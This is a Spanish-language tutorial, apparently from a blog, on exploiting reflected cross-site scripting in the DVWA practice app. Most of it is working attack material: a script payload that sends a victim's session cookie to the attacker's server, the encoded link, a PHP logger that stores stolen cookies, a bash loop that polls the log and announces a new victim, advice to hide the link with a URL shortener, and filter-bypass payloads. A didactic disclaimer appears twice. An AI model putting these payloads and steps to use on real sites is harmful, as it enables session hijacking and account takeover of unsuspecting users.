Probamos varias etiquetas:
<script>alert("sierra");</script>verificando que todas funcionan, es vulnerable.
IMPORTANTE:
Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.
Si queremos explotar la vulnerabilidad, crearemos un enlace a esa direccción, con un códgio por ejemplo así:
<script>new Image().src="http://nuestroservidor/xss.php?cookie="+escape(document.cookie);</script>
la cual quedaría de la siguiente forma en dvwa 1.0.7 level low:
http://vulnerable/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Enew+Image%28%29.src%3D%22http%3A%2F%2Fnuestroservidor%2Fxss.php%3Fcookie%3D%22%2Bescape%28document.cookie%29%3B%3C%2Fscript%3E#
donde nuestroservidor es algún servidor a nuestra disposición para meter el siguiente xss.php:
<?php
$session = $_GET["cookie"];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt','a');
fwrite($file, "USER AGENT: $user_agent || COOKIE: $session \n");
fclose($file);
?>
El enlace creado se manda a una victima que tenga cuenta en el servidor vulnerable, extrayendo su cookie. El enlace se puede disfrazar con algún acortador de url's en la red.
Ahora solo queda estar pendiente de cuando pulsa sobre el enlace dado, para ello podemos poner una terminal de la siguiente manera:
Aunque prefiero esta otra forma que consume menos recursos y además, si se utliza el comando grep nos dara la información en color
Hay que estar pendiente de la terminal para ver cuando nos entrega la información :), pero si queremos un avisador acustico, podiamos hacer este script en bash:
#!/bin/bash
while [ 1 ];
do
hola=`curl -s nuestroservidor/log.txt |grep -o -P 'COOKIE'`;
if [ -n "$hola" ] ; then
echo "Ya tenemos una victima, a por el" | festival --tts
curl -s 'nuestroservidor/log.txt'
else
echo "Aún no ha nada que hacer :-)"
fi
sleep 10;
clear;
done
Solo nos queda entrar en el servidor vulnerable con la identificación (cookie) de la victima.
IMPORTANTE:
Esta información es con fines didacticos, un uso fuera de una plataforma de pruebas es un delito, no me hago responsable del mal uso.
Para este nivel han filtrado la palabra scrip, con lo cual nos vale el siguiente codigo:
<svg onload=alert("sierra");>
<img src="x" onerror=prompt("sierra");>
o cualquier otro que se nos ocurra :)
Se ha utilizado la función htmlspecialchars, con lo cual pienso es imposible vulnerarla.